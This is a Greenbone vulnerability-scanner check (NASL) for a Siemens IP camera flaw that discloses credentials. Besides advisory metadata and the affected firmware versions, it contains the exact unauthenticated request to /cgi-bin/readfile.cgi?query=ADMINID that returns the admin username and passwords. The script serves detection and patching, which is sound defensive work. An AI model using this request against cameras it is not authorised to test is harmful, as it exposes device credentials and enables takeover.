SIEMENS IP-Camera Credentials Disclosure Vulnerability - Active Check

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.807879");
  script_version("2024-03-08T15:37:10+0000");
  script_tag(name:"last_modification", value:"2024-03-08 15:37:10 +0000 (Fri, 08 Mar 2024)");
  script_tag(name:"creation_date", value:"2016-08-18 11:01:49 +0530 (Thu, 18 Aug 2016)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("SIEMENS IP-Camera Credentials Disclosure Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl");
  script_mandatory_keys("Boa/banner");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"SIEMENS IP-Camera is prone to credentials disclosure
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw exists due to an improper restriction on user access
  levels for certain pages.");

  script_tag(name:"impact", value:"Successful exploitation will allow a remote attacker to read
  username and password of the device.");

  script_tag(name:"affected", value:"- CCMW3025: All versions < 1.41_SP18_S1

  - CVMW3025-IR: All versions < 1.41_SP18_S1

  - CFMW3025: All versions < 1.41_SP18_S1

  - CCPW3025: All versions < 0.1.73_S1

  - CCPW5025: All versions < 0.1.73_S1

  - CCMD3025-DN18: All versions < v1.394_S1

  - CCID1445-DN18: All versions < v2635

  - CCID1445-DN28: All versions < v2635

  - CCID1445-DN36: All versions < v2635

  - CFIS1425: All versions < v2635

  - CCIS1425: All versions < v2635

  - CFMS2025: All versions < v2635

  - CCMS2025: All versions < v2635

  - CVMS2025-IR: All versions < v2635

  - CFMW1025: All versions < v2635

  - CCMW1025: All versions < v2635");

  script_tag(name:"solution", value:"Updates were issued to solve this vulnerability.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/40254");
  script_xref(name:"URL", value:"https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-284765.pdf");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

## Siemens IP Camera uses 'Boa by topco' integrated web server
## Application confirmation to more specific is not possible, hence not
## going for detect VT.
banner = http_get_remote_headers(port: port);
if (banner !~ "Server\s*:\s*Boa by topco")
  exit(0);

url = "/cgi-bin/readfile.cgi?query=ADMINID";

if (http_vuln_check(port: port, url: url,  pattern: 'var Adm_ID="', check_header: TRUE,
                    extra_check: make_list('var Adm_Pass1="', 'var Adm_Pass2="', 'var Language="'))) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);